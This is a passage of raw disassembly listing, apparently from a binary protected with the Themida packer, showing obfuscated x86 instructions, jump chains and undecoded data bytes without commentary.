		dd 0C22821EAh, 0E921C280h, 0FFFF903Fh
; ---------------------------------------------------------------------------

loc_5620F4:				; CODE XREF: Themida_:00561D21j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55F91E
; ---------------------------------------------------------------------------
aRso1		db 'Ré®1',0
		db 0
; ---------------------------------------------------------------------------

loc_56210B:				; CODE XREF: Themida_:00551107j
		add	esp, 4
		push	esi
		push	3FFFh
		mov	[esp], ecx
		mov	ecx, 53466803h
		jmp	loc_553B9B
; ---------------------------------------------------------------------------
aXhJ		db 'XhÜJ',0
		dw 0E900h
		dd 11E4h, 997F8568h, 24348B43h,	0FEE051E9h, 62ED81FFh
		dd 89A98259h, 1EEAE9EBh, 0E700FFFFh, 0C8E78058h, 0FEF298E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562151:				; CODE XREF: Themida_:00556E8Dj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5599DB
; ---------------------------------------------------------------------------

loc_562160:				; CODE XREF: Themida_:00559A2Cj
		add	edx, 4AAC1B3Bh
		jmp	loc_551197
; ---------------------------------------------------------------------------
		db 89h
		dd 4BB241Ch, 52000000h,	5760C1BAh, 44F28112h, 0E97DB837h
		dd 0FFFF6FFFh, 1892E381h, 0F3811718h, 418C3D37h, 0F75BDD31h
		dd 1FF581DDh, 897E4E31h, 242C8BE8h, 0F704C483h,	6DBF57D0h
		dd 1059905h, 9862E9F8h,	814EFFFFh, 377856EEh, 81D6F777h
		dd 0AA482DF6h, 5EF02990h, 48BC701h, 0F64E924h, 0EC83FFFFh
		dd 24048904h, 1805E951h, 0CE890000h, 0FF4759E9h, 0DDF75DFFh
		dd 0D9E9EF87h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5621EB:				; CODE XREF: Themida_:0055F54Cj
		mov	[esp], ebx
		push	edx
		push	6C25h
		mov	[esp], esi
		push	ebx
		mov	ebx, 7EAB6346h
		neg	ebx
		and	ebx, 54EF26BCh
		shl	ebx, 7
		xor	ebx, 5EF32BD9h
		push	ecx
		mov	ecx, 38A82011h
		shl	ecx, 2
		jmp	loc_55CF60
; ---------------------------------------------------------------------------
		dd 68240489h, 28C97508h, 8324048Bh, 0BAE904C4h,	89000022h
		dd 0BABE2434h, 0F74AD444h, 35E681D6h, 0F74E3919h, 0E9DEF7D6h
		dd 0C97h
; ---------------------------------------------------------------------------

loc_562248:				; CODE XREF: Themida_:0055F7C3j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		jmp	loc_551467
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 0FB89241Ch, 0D9895150h, 5659C889h, 0F289C689h
		dd 0FF2EE1E9h, 0B05059FFh, 43FE94Ah, 0EE29FFFFh, 0E696E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56229E:				; CODE XREF: Themida_:00564881j
		inc	ecx
		xor	ecx, 5C6B702Fh
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 69200799h
		sub	edx, esi
		pop	esi
		add	edx, 14FA5301h
		sub	edx, 61ECFDBDh
		jmp	loc_55F49F
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 734E0E14h, 3359CD01h, 2C31242Ch, 242C3324h, 0FE24248Bh
		dd 0E99C2404h, 0FFFF2EACh, 645314B8h, 0E9C60177h, 2DF2h
		dd 3BFAEA81h, 0A9680166h, 89000001h, 66B82404h,	12F322Ch
		dd 0CE5EE9C2h, 0E957FFFFh, 0FFFF2DC7h
; ---------------------------------------------------------------------------

loc_562314:				; CODE XREF: Themida_:0055EE38j
		mov	[esp], eax
		push	esi
		mov	esi, 73E01772h
		jmp	loc_5652CB
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 80CA285Ah, 0C2805AEAh, 0B45059F7h, 0ABEC8013h, 8075CC80h
		dd 91E98BCCh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56233F:				; CODE XREF: Themida_:00555564j
		push	edx
		mov	edx, 5339463Ch
		not	edx
		shr	edx, 1
		shl	edx, 8
		jmp	loc_553525
; ---------------------------------------------------------------------------

loc_562351:				; CODE XREF: Themida_:005505E5j
		pop	ecx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_559FD2
; ---------------------------------------------------------------------------
		db 81h
		dd 0D72987F6h, 1859E93Ah, 5557FFFFh, 0FF458FE9h, 0E78957FFh
		dd 4C781h, 0C7830000h, 243C8704h, 15F1E9h, 0E9E28900h
		dd 0FFFFE0FCh, 4BB53h, 0DD010000h, 4EC815Bh, 89000000h
		dd 60E92404h, 81000020h, 4ECh, 242C8900h, 0FFFFFFBDh, 5DEA29FFh
		dd 52E9D2F7h
		db 0B0h, 2 dup(0FFh)
byte_5623BF	db 0FFh			; DATA XREF: Themida_:00550048o
		dd 44E92434h, 31FFFEE3h, 24048BC2h, 132EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5623D1:				; CODE XREF: Themida_:005591B7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, 4
		push	edx
		jmp	loc_55BF25
; ---------------------------------------------------------------------------
		db 51h,	81h, 4
		dd 0D56AA624h, 0EF815F35h, 35D56AA6h, 0FFF375E9h, 586866FFh
		dd 66586670h, 0D3F76693h, 5669366h, 5666C1Ch, 5665862h
		dd 35666094h, 2966D7B7h, 1C8B58C7h, 0E7895724h,	0FFA7E2E9h
		dd 241489FFh, 55E95053h, 88FFFF91h, 0B05058C2h,	58C228FFh
		dd 5A66D588h, 0E902EDC0h, 0FFFFE112h, 4C481h, 48E90000h
		db 0DCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56244F:				; CODE XREF: Themida_:0055C110j
		mov	ah, 77h
		add	ah, 57h
		dec	ah
		jmp	loc_553D9C
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF2404h, 8F580424h, 248B2404h, 241C8924h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	3C4C7267h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		not	ecx
		inc	ecx
		sub	ecx, 87F9784Dh
		push	ecx
		jmp	loc_561911
; ---------------------------------------------------------------------------

loc_56249A:				; CODE XREF: Themida_:0055A780j
		pop	esi
		jmp	loc_553952
; ---------------------------------------------------------------------------

loc_5624A0:				; CODE XREF: Themida_:0055B07Cj
		add	esp, 4
		push	eax
		mov	eax, 72784454h
		sub	edi, eax
		push	dword ptr [esp]
		jmp	loc_55BE9D
; ---------------------------------------------------------------------------

loc_5624B6:				; CODE XREF: Themida_:00555B1Aj
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_563F20
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 3Dh
		dd 8120FF77h, 4702E6EEh, 81DE013Fh, 4702E6C6h, 2FF4E93Fh
		dd 5352FFFFh, 5511E950h, 0C181FFFFh, 4,	5C240C87h, 4EC81h
		dd 1C890000h, 1BF06824h, 815B4C8Ah, 8A1BF4F3h, 39EE814Ch
		dd 1059267h, 3ED5E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56250E:				; CODE XREF: Themida_:00554450j
		pop	edi
		add	esp, 4
		push	781h
		mov	[esp], ebp
		mov	ebp, 2F8E20F4h
		sub	ebp, 55C52BEh
		jmp	loc_561ED0
; ---------------------------------------------------------------------------
a5rO		db '5R×o',0
		dw 0C589h
		dd 8124048Bh, 4C4h, 0FFE82900h,	535D2434h, 0C381E389h
		dd 4, 0E904C383h, 0FFFF3CF6h, 243C895Ch, 0EC835F54h, 241C8904h
		dd 4BBh, 5BDF0100h, 0FFAA3DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56256D:				; CODE XREF: Themida_:0055AC14j
		not	esi
		push	ebp
		jmp	loc_560FFD
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E2895259h, 0FEE8D6E9h, 0FCBF57FFh, 4737E23Ah, 1379C781h
		dd 0FB29227Fh, 0FEE6E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562595:				; CODE XREF: Themida_:0055C4DFj
		pop	edi
		push	ebx
		mov	ebx, 73FF4E5Ah
		not	ebx
		inc	ebx
		inc	ebx
		jmp	loc_554E2F
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14D9B850h, 14E977B4h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5625B3:				; CODE XREF: Themida_:005580E1j
		mov	cl, bh
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, dl
		jmp	loc_563707
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5524048Fh, 4BDh, 0BA62E900h
		db 2 dup(0FFh)
word_5625DA	dw 34FFh		; DATA XREF: Themida_:0054FEE4o
		dd 2434FF24h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 0E389241Ch
		dd 27685056h, 5858004Ah, 507E8C1h, 7C9610ECh, 8158C689h
		dd 46117CEEh, 2F21E97Dh, 34FF0000h, 543E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56261A:				; CODE XREF: Themida_:0055E1BCj
		pop	esi
		mov	ebp, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_552AD3
; ---------------------------------------------------------------------------
		db 5Dh,	31h, 0D6h
		dd 0E9F0315Ah, 0FFFEEC89h, 5C243C87h, 81242489h, 42404h
		dd 51580000h, 1CC568h, 242C8900h, 8904EC83h, 0CCE92434h
		dd 56FFFF15h, 0C681E689h, 4, 8704EE83h,	1DE92434h, 8BFFFFC5h
		dd 0C4812404h, 4, 4EC81h, 2C890000h, 4EC8124h, 0E9000000h
		dd 0FFFEE308h, 0E9555854h, 0FFFF7419h, 59CF2158h, 480EF81h
		dd 0EE810CC1h, 7D35441h, 0C681FE01h, 7D35441h, 0FF3001E9h
		dd 22EF81FFh, 0E9434F54h, 0FFFFBC9Ah, 54243489h, 0FFBA88E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5626E1:				; CODE XREF: Themida_:00562EADj
		pop	edi
		add	edi, 1E2299BDh
		sub	ecx, 14CD5EB1h
		add	ecx, 647C42C4h
		sub	ecx, edi
		sub	ecx, 647C42C4h
		add	ecx, 14CD5EB1h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55DAFF
; ---------------------------------------------------------------------------
		db 51h
		dd 41F2BA52h, 0D1894B5Eh, 0FF3474E9h, 240C89FFh, 59B768h
		dd 48F5400h, 50DCE924h,	8166FFFFh, 0F10F9C3h, 6866C0B7h
		dd 3BE90DECh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56273B:				; CODE XREF: Themida_:005609ECj
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	4
		pop	esi
		jmp	loc_563263
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5D04h, 4895C24h, 7BEFB824h, 0C3313F7Bh, 6E3C158h
		dd 243DBF57h, 5E917DEh,	0F6FFFF28h, 0B45051D7h,	2E4C04Fh
		dd 53B0EC80h, 0DC2801B3h, 37E4805Bh, 885DEC80h,	0A2E958E1h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56278F:				; CODE XREF: Themida_:005539F1j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	7015h
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 353919E8h
		add	eax, 0FFFFFFFFh
		or	eax, 6E740F0Ah
		jmp	loc_55F476
; ---------------------------------------------------------------------------
		dd 0CA31D131h, 0FFD153E9h, 6BF681FFh, 2DC34FA5h, 14E62178h
		dd 7805F001h, 8B14E621h, 6DE92434h, 89FFFEDAh, 0B951241Ch
		dd 3D280E8Ch, 0D8301EBBh, 0FF0FE911h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56280E:				; CODE XREF: Themida_:005607ECj
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		xor	edx, 7A5317B7h
		and	eax, edx
		jmp	loc_5502FC
; ---------------------------------------------------------------------------
		db 81h
		dd 0B01680EAh, 2434FF5Ch, 0E089505Eh, 0FFEA76E9h, 0FF665CFFh
		dd 0E99C2404h, 0FFFED84Bh, 781AB951h, 0CA895930h, 33A2E959h
		dd 0D801FFFFh, 0B152C705h, 0C7015B7Dh, 0E92434FFh, 0FFFFD0E8h
; ---------------------------------------------------------------------------

loc_56286C:				; CODE XREF: Themida_:0055CF5Bj
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, ecx
		jmp	loc_55611E
; ---------------------------------------------------------------------------
		dd 20EFBF57h, 0FB293171h, 684B5Fh, 0E9000000h, 0FFFEF6ECh
		dd 0F23A6668h, 24148B48h, 8904EC83h, 0E6892434h, 4C681h
		dd 35E90000h, 51FFFF6Ah, 0C181E189h, 4,	4C181h,	0C870000h
		dd 0BA525C24h, 1C2C269Ah, 0EE9D029h, 5CFFFF6Dh,	8140478Fh
		dd 4ECh, 24148900h, 6300CE68h, 0DAF75A6Bh, 4B97B951h, 0F9E935EDh
		dd 2CFFFFE2h, 0B7535141h, 0E3E5E9D8h, 4BEFFFEh,	1000000h
		dd 0C7835EF7h, 243C3304h, 33243C31h, 248B243Ch,	5C24E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562912:				; CODE XREF: Themida_:00564504j
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_553A3B
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 32FD1BFFh, 0FFFFE981h, 0F181FFFFh, 1DCD273Eh, 8102E9C1h
		dd 0A47FD2E9h, 24FCE92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562946:				; CODE XREF: Themida_:0055DB2Bj
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 602969EEh
		add	ecx, ebx
		sub	ecx, 602969EEh
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_561BA3
; ---------------------------------------------------------------------------
		db 53h,	51h, 68h
		dd 516B5EACh, 0C1D1F759h, 0F18105E9h, 2C1AE393h, 8959CB89h
		dd 0E5C15BDDh, 0E9EDD108h, 0FFFFC5EAh, 4240483h, 8324048Fh
		dd 59042404h, 4C2EE950h, 487FFFFh, 0E54FE924h, 0C15DFFFFh
		dd 0D7F702E7h, 0EF81DFF7h, 39A12482h, 7E9FD31h,	54FFFEE5h
		dd 0FF84B9E9h, 0E9D601FFh, 0FFFF437Ch, 4CD968h,	240C8900h
		dd 7188BE56h, 99E952E8h, 81FFFF22h, 0A07CBCCDh,	0E9C58154h
		dd 0C162FF37h, 0ED8108E5h, 5CB7D49h, 0FFE96FE9h, 4C181FFh
		dd 81000000h, 4C1h, 240C8700h, 4EC815Ch, 0E9000000h, 0FFFFEE8Dh
		dd 0BF243C89h, 4, 0FFE4A0E9h, 1B69BBFFh, 0D9310A64h, 81241C8Bh
		dd 4C4h, 54BB5300h, 291E5370h, 241C8BDDh, 4C481h, 0CD010000h
		dd 7054C581h, 0C8B1E53h, 4C48324h, 2646E951h, 0E2890000h
		dd 4C281h, 0C2830000h, 24143304h, 33241431h, 15C2414h
		dd 241C8BDFh, 8904EC83h, 0E0892404h, 0FF216CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562A75:				; CODE XREF: Themida_:00550FC6j
		push	ecx
		jmp	loc_557279
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 241C8700h, 0E289525Ch,	0FF1B61E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562A8D:				; CODE XREF: Themida_:0055A8C4j
		add	esp, 4
		or	ecx, ecx
		jz	loc_55AA63
		push	eax
		mov	eax, esp
		jmp	loc_55537F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 24E92404h
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562AAB:				; CODE XREF: Themida_:005637DDj
		inc	ebx
		dec	ebx
		xor	ebx, 2BCE3D38h
		add	ebx, 70F57E5Dh
		sub	esi, ebx
		pop	ebx
		push	ecx
		jmp	loc_5633F9
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFCD61h, 0E43C7F2Dh, 240C8B68h, 4C481h, 0D8290000h
		dd 9E6EEE05h, 0DC15E974h, 0EEC1FFFEh, 26EE8107h, 5668D679h
		dd 5E240CFFh, 18A068h, 242C8900h, 8F2416BDh, 81DDF77Bh
		dd 5F73BEF5h, 6AC58120h, 0E9F388CAh, 0FFFF1873h, 405E089h
		dd 0E9000000h, 0FFFF0F80h, 211E7BBAh, 0F7BD5546h, 210DCE3Eh
		dd 0F2A4E9EAh, 5256FFFFh, 0FF47B6E9h, 240C89FFh, 0C181E189h
		dd 4, 21E8BB53h, 36E95B17h, 30FFFFFAh, 50525BF9h, 0C28802B0h
		dd 0FE98058h, 0FF5627E9h, 7CB868FFh, 2C890000h,	89BE5624h
		dd 5201C855h, 67E9F289h, 89000014h, 1E29E9E6h, 0F7660000h
		dd 0C58166D5h, 0B3E96A7Dh
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562B87:				; CODE XREF: Themida_:0056540Aj
		push	esi
		jmp	loc_562D52
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 0E9000000h, 0FFFF79E6h, 56241C89h, 7E6A8BBEh, 9579BB6Ah
		dd 0F3019581h, 8124348Bh, 4C4h,	0D7EE8100h, 8105D651h
		dd 0BC0F70EEh, 81DE0170h, 0BC0F70C6h, 0D7C68170h, 5B05D651h
		dd 8704C683h, 305C2434h, 0C0B60FC3h, 0FF8734FFh, 34FF2434h
		dd 0F288E924h, 0F801FFFFh, 0FFC376E9h, 58C201FFh, 5542D2F7h
		dd 0C90C00BDh, 0EDCAE955h
		db 2 dup(0FFh)
word_562BFE	dw 8B66h		; DATA XREF: Themida_:0054FDD0o
		dd 7DE92404h, 89FFFFBAh, 28E92404h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562C0F:				; CODE XREF: Themida_:0055F342j
		mov	ch, bl
		pop	ebx
		add	ah, ch
		pop	cx
		push	eax
		mov	ah, 56h
		add	bl, ah
		jmp	loc_55CBA1
; ---------------------------------------------------------------------------
		dd 96E9D001h, 81000020h, 0B2CB30C1h, 3EB850E9h,	2968907Eh
		dd 7800E9C5h, 74FFFFFFh, 8F5A0424h, 0E95B2404h,	0FFFFB045h
		dd 0DEAE981h, 0CF89CE35h, 0FF3226E9h, 98E8BDFFh, 0D501D5A8h
		dd 0C5814D5Ah, 1, 7D72F581h, 0BB530903h, 2FC824BAh, 575BDD31h
		dd 0C904AEBFh, 0A7BD555Eh, 0E94FBF18h, 146Bh
; ---------------------------------------------------------------------------

loc_562C84:				; CODE XREF: Themida_:005511AAj
		add	edx, offset byte_4F212B
		sub	edx, eax
		push	ebp
		mov	ebp, 588439B0h
		jmp	loc_55E4E3
; ---------------------------------------------------------------------------
byte_562C97	db 0ACh			; DATA XREF: Themida_:0054FDD8o
		dd 56FE6866h, 241C8966h, 0FF6DBFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562CA5:				; CODE XREF: Themida_:00559658j
		xchg	edx, [esp]
		jmp	loc_557B27
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 1
		dd 0C9FED1F6h, 0E943F180h, 0FFFF6AE0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_5651E4
; ---------------------------------------------------------------------------
		db 81h
		dd 7A6D6DEAh, 7FE95702h, 89FFFFF3h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 8029E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562CFA:				; CODE XREF: Themida_:005600B1j
		mov	ecx, 8C04F84h
		not	ecx
		xor	ecx, 492C3B53h
		push	edx
		jmp	loc_556352
; ---------------------------------------------------------------------------

loc_562D0D:				; CODE XREF: Themida_:00564D21j
		pop	esp
		jmp	loc_558B47
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 515DE901h, 42474FFh, 592434FFh, 4C481h, 48F0000h
		dd 623AE924h, 78BBFFFFh, 6848AD1Dh, 6E2Fh, 0FF10B4E9h
		dd 87595AFFh, 248B241Ch, 243CD224h, 0D345E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_562D52:				; CODE XREF: Themida_:00562B88j
		mov	esi, 67415393h
		shr	esi, 7
		xor	esi, 5831F361h
		add	edx, esi
		pop	esi
		sub	edx, ebp
		push	ebx
		jmp	loc_558E27
; ---------------------------------------------------------------------------
		db 83h
		dd 0B25204C4h, 16EA8046h, 0FF3E5DE9h
		db 0FFh
byte_562D79	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:0054FF50o
		dd 0D9CCBE56h, 895002BBh, 0D3FDE9E0h, 0FF51FFFFh, 0FF042474h
		dd 34FF2434h, 0C026E924h, 0D088FFFFh, 8BC7005Ah, 0C4812404h
		dd 4, 0C780CFFEh, 0E9DFF67Bh, 0FFFF8005h, 0E924248Bh, 0FFFF844Ah
; ---------------------------------------------------------------------------

loc_562DBC:				; CODE XREF: Themida_:00558FCFj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_556019
; ---------------------------------------------------------------------------

loc_562DC7:				; CODE XREF: Themida_:00555354j
		shr	edi, 2
		push	ebx
		jmp	loc_553DC1
; ---------------------------------------------------------------------------
		dd 54241489h, 27C0E9h, 74FF5200h, 99E90424h, 8FFFFF52h
		dd 248B2404h, 5A09E924h, 7168FFFFh, 0E9000032h,	0FFFF9254h
		dd 8B243C87h, 0E9F72424h, 1D1EE9h, 0CAC28100h, 294A7E6Fh
		dd 0EC835AD0h, 242C8904h, 3C7068h, 242C8900h, 0C581E589h
		dd 4, 8704ED83h, 0E95C242Ch, 0FFFF9964h
; ---------------------------------------------------------------------------

loc_562E30:				; CODE XREF: Themida_:0055D2BFj
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	edi
		jmp	loc_564CA7
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2414h, 7D2848E6h, 2259E96Bh, 0E289FFFFh,	4C281h
		dd 0FE680000h, 89000058h, 4BB241Ch, 29000000h, 14875BDAh
		dd 14895C24h, 1BBE924h,	34890000h, 64E95424h, 0FFFFFF2Ch
		dd 0E9042474h, 0FFFF0685h
; ---------------------------------------------------------------------------

loc_562E80:				; CODE XREF: Themida_:005570A3j
		neg	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, 13F612C2h
		shl	edi, 7
		sub	edi, 3B38172Ah
		or	edi, 4F6736A5h
		jmp	loc_560FE6
; ---------------------------------------------------------------------------

loc_562E9E:				; CODE XREF: Themida_:0055DB80j
		not	ebx
		xchg	ebx, edi
		push	289Eh
		mov	[esp], edi
		not	dword ptr [esp]
		jmp	loc_5626E1
; ---------------------------------------------------------------------------

loc_562EB2:				; CODE XREF: Themida_:00560A6Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_560120
; ---------------------------------------------------------------------------
		dw 0B168h
		dd 5D631F52h, 4633CD81h, 0A2E97F3Dh, 51FFFF06h,	5F059AB9h
		dd 0E9CE29EAh, 0FFFF4AD5h
; ---------------------------------------------------------------------------

loc_562EEC:				; CODE XREF: Themida_:0055AF02j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 7AF607A3h
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 4CD122E3h
		jmp	loc_55D1F6
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 62h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F0F:				; CODE XREF: Themida_:0055E99Bj
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	loc_56548E
; ---------------------------------------------------------------------------
		dd 5C240487h, 9C2404FFh, 0FED16EE9h, 1FEF80FFh,	0EF80D7F6h
		dd 0B1EF8030h, 0E95BFC28h, 0FFFFB669h, 4BEh, 0D040E900h
		dd 0C281FFFFh, 4, 30E1BF57h, 23E92718h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562F57:				; CODE XREF: Themida_:0055E5B6j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55287D
; ---------------------------------------------------------------------------

loc_562F65:				; CODE XREF: Themida_:00552400j
		mov	[esp], esi
		push	ecx
		jmp	loc_556F6B
; ---------------------------------------------------------------------------
word_562F6E	dw 8B66h		; DATA XREF: Themida_:0054FE1Co
		dd 5451240Ch, 68505259h, 78741DFEh, 5624048Bh, 0C681E689h
		dd 4, 0E904C683h, 0FFFF615Dh, 5F59C889h, 1AF0EA81h, 0C2017242h
		dd 0E27BE951h, 0E289FFFEh, 4C281h, 0C2830000h, 24148704h
		dd 0DC76E95Ch, 0E959FFFFh, 0FFFF051Ah, 0D60EE95Fh, 5658FFFFh
		dd 2FDB68h, 24248900h, 4BE56h, 79E90000h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_562FD7:				; CODE XREF: Themida_:0055F27Cj
		add	ecx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 53117560h
		add	ebx, 2AB97D88h
		inc	ebx
		neg	ebx
		add	ebx, 5D6016E5h
		add	ebx, 0B2EB8845h
		sub	ecx, 7AB05405h
		jmp	loc_554709
; ---------------------------------------------------------------------------
		dd 0C0C9E957h, 0DD68FFFFh, 89000029h, 0E789243Ch, 4C781h
		dd 0EF810000h, 4, 0FF491FE9h, 4135BAFFh, 0D1014AE4h, 8124148Bh
		dd 4C4h, 0F7E98700h, 55E987D5h,	8A5379BDh, 1B05E91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56304A:				; CODE XREF: Themida_:0055B3F7j
		mov	eax, 3CDB04F6h
		xor	eax, edx
		pop	edx
		or	edx, eax
		pop	eax
		add	edx, 28B588A2h
		jmp	loc_555914
; ---------------------------------------------------------------------------
		dd 0E953FCB5h, 0FFFEDECDh, 2414F751h, 81240C8Bh, 4C4h
		dd 0A6E98100h, 53CDEACEh, 5F89CB89h, 944AE920h,	5F5AFFFFh
		dd 5C240C87h, 24048966h, 0FED002E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563095:				; CODE XREF: Themida_:00552CA8j
		add	esp, 4
		push	ecx
		mov	ecx, 3F4F761Dh
		add	edx, ecx
		jmp	loc_55B50D
; ---------------------------------------------------------------------------
		dd 7BE60D40h, 0D8F7710Eh, 5BB7B951h, 0C8319E80h, 0F5BA5259h
		dd 0F70A591Ah, 0FFB951D2h, 0F727CC0Dh, 81E1D1D1h, 0C0FF1AE9h
		dd 59CA29BAh, 8F50FA01h, 48B5A02h, 4C48324h, 81E68956h
		dd 4C6h, 4EE8300h, 0FF035CE9h, 4C481FFh, 0E9000000h, 0FFFFCA71h
		dd 8124048Bh, 4C4h, 70F8E900h, 0C581FFFFh, 6FBF7639h, 636BF581h
		dd 222D1EBEh, 153F217h,	172205E8h, 575D53F2h, 4BFh, 0FFF80100h
		dd 0E95F2434h, 0FFFF838Dh, 7C37B9BFh, 27AEBE48h, 79E935CBh
		db 1Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563143:				; CODE XREF: Themida_:00555AEFj
		mov	[esp], ebx
		jmp	loc_55B2B7
; ---------------------------------------------------------------------------
		db 1
		dd 0D0095EF2h, 8E8C15Ah, 0D07E0C1h, 569036CCh, 2568h, 24148900h
		dd 465339BAh, 0F2E2817Eh, 81007372h, 1EAh, 0F9E9E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56317A:				; CODE XREF: Themida_:0055D230j
		sub	ebp, 73F93ED7h
		jmp	loc_555711
; ---------------------------------------------------------------------------
		db 0BDh, 40h, 5Ch
		dd 0E90108ADh, 0FFE7CAE9h, 242C89FFh, 93240481h, 5821EB00h
		dd 0EB00932Dh, 242C8B21h, 0FFB6F1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5631A9:				; CODE XREF: Themida_:0055D6CCj
		mov	edi, 1B02580Ch
		jmp	loc_560E53
; ---------------------------------------------------------------------------
		db 0F6h
		dd 9FC680D6h, 0FE5AF528h, 9EA6E9CDh, 2159FFFFh,	34FF1C57h
		dd 0C4835A24h, 0CEC5E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5631D2:				; CODE XREF: Themida_:00561631j
		xor	edi, 13AA6C04h
